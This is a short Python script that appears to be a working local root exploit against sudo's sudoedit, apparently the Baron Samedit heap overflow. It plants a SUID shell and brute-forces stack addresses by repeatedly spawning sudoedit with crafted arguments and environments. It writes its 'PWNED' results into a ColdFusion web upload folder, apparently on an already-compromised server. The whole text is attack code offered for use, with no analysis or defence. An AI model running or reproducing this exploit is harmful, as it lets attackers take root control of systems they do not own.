import bs_sa, os
from ctypes import cdll, c_char_p, POINTER
bs_sa.has_tailq=False; bs_sa.has_file=False; bs_sa.MATCH_ALL=279; bs_sa.DEFAULTS_CMND=268
bs_sa.ENV_STACK_SIZE_MB = 2
cmnd_size=0x1150; offset=0x20
argv=[b"sudoedit",b"-A",b"-s",b"-C",b"1337",b"A"*(cmnd_size-0x10)+b"\\",None]
libc=cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes=c_char_p,POINTER(c_char_p),POINTER(c_char_p)
bs_sa.create_bin(bs_sa.SUID_PATH)
bs_sa.create_shell(bs_sa.SHELL_PATH, bs_sa.SUID_PATH)
res=[]
for sa in range(0x7fffffdfe000, 0x7fffffe00000, 0x10):
    bs_sa.STACK_ADDR_PAGE = sa
    env = bs_sa.create_env(offset)
    cargv=(c_char_p*len(argv))(*argv); cenvp=(c_char_p*len(env))(*env)
    ec = bs_sa.spawn_raw(bs_sa.SUDO_PATH, cargv, cenvp)
    res.append('%x:%d'%(sa,ec))
    if os.path.exists('/tmp/pwned'):
        open('/opt/coldfusion8/wwwroot/userfiles/file/sa_found.txt','w').write('PWNED sa=0x%x\n'%sa); break
open('/opt/coldfusion8/wwwroot/userfiles/file/sa_done.txt','w').write('pwned=%s %s\n'%(os.path.exists('/tmp/pwned'),','.join(res)))